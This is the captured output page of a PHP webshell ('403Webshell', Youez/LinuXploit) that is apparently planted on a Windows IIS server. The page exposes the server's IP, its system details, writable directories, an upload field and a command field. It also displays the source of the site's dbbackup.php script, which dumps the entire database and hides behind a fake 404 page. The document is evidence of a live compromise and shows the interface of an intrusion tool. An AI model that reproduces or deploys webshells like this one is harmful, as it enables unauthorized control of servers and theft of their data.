403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/msc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/msc/dbbackup.php
<?php
	include_once 'lib/lib.php';
	$mCtrl = new Controller("registry", "@[PAGE_TITLE]");	
	$mCtrl->onlyForLoggedInUsers = true;
	
	function backup_tables($tables = '*')
	{
	  
	  //$link = mysql_connect($host,$user,$pass);
	  //mysql_select_db($name,$link);
	  
	  
	  //get all of the tables
	  if($tables == '*')
	  {
	    $tables = array();
	    //$result = mysql_query('SHOW TABLES');
	    DBUtils::getrows("SHOW TABLES", $result, $num);
	    while($row = mysqli_fetch_row($result))
	    {
	      $tables[] = $row[0];
	    }
	  }
	  else
	  {
	    $tables = is_array($tables) ? $tables : explode(',',$tables);
	  }
	  
	  $return = "";
	  //cycle through
	  foreach($tables as $table)
	  {
	  	//
	  	
	    //$result = mysql_query('SELECT * FROM '.$table);
	    DBUtils::getrows('SELECT * FROM '.$table, $result, $num);
	    $num_fields = mysqli_num_fields($result);
	    
	    $return.= 'DROP TABLE '.$table.';';
	    //$row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
	    $row2 = DBUtils::getObject('SHOW CREATE TABLE '.$table);
	    $return.= "\n\n".$row2->{'Create Table'}.";\n\n";
	    
		
	    //for ($i = 0; $i < $num_fields; $i++) 
	    {
	      while($row = mysqli_fetch_row($result))
	      {
	        $return.= 'INSERT INTO '.$table.' VALUES(';
	        for($j=0; $j<$num_fields; $j++) 
	        {
	          if ($row[$j] === NULL){
	          	$return.= 'NULL';
	          }else{
		          $row[$j] = addslashes($row[$j]);
		          //$row[$j] = ereg_replace("\n","\\n",$row[$j]);
		          $row[$j] = preg_replace('/\n/','\\n',$row[$j]);
		          //if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
		          $return.= '"'.$row[$j].'"';
	          }
	          if ($j<($num_fields-1)) { $return.= ','; }
	        }
	        $return.= ");\n";
	      }
	    }
	    $return.="\n\n\n";
	  }
	   
	  
	  //save file
	  //$handle = fopen('db-backup-'.time().'-'.(md5(implode(',',$tables))).'.sql','w+');
	  //fwrite($handle,$return);
	  //fclose($handle);
	  return $return;
	}
	
	
	$pwd = Utils::vRequest('salt');
  	if ($mCtrl->isAdmin()){
	  	  
	
  	  $ard = getdate(time());
	  if ($ard['mday'] < 10) $ard['mday'] = "0".$ard['mday'];
	  if ($ard['mon'] < 10) $ard['mon'] = "0".$ard['mon'];
	  if ($ard['hours'] < 10) $ard['hours'] = "0".$ard['hours'];
	  if ($ard['minutes'] < 10) $ard['minutes'] = "0".$ard['minutes'];
	  if ($ard['seconds'] < 10) $ard['seconds'] = "0".$ard['seconds'];
	  $today = "{$ard['year']}{$ard['mon']}{$ard['mday']}{$ard['hours']}{$ard['minutes']}{$ard['seconds']}"; 
	  
	  $BFILE="mysql.icdmsc.{$today}.bak.gz";
	  $MYSQLBACKFILE="/tmp/{$BFILE}";
	
	  $fc = backup_tables();
	  //$fc = "1234567890";
	  $gz = gzencode($fc, 9);
	  
	  //echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />";
	  //echo "<pre>$fc</pre>";
	  //$gz = gzcompress($fc);
	  	  
	  $mtype = "application/x-gunzip";	  
	
	  $hd_mime = "Content-Type: ${mtype}";
	
	  header($hd_mime);
	  $cdf = 'Content-Disposition: inline; filename="' . $BFILE . '"';
	
	  header($cdf);
	
	  //header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
	  //header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); // Date in the past
	
	
	  header('Content-Length: ' . strlen($gz));
	
	  //echo $gz;
	  //echo "test";
	  //$_temp1 = strlen($fc); 
	  //print("\x1f\x8b\x08\x00\x00\x00\x00\x00"); 
	  //$contents = gzcompress($fc, 9); 
      //$contents = substr($contents, 0, $_temp1); 
      //print($contents);
      echo $gz; 
	
	  ob_end_flush();
	}else{
		header('HTTP/1.0 404 Not Found');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /dbbackup.php was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Unix) PHP/5.3.8 DAV/2 Server at brahms.local Port 80</address>
</body>
</html>
<?php
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit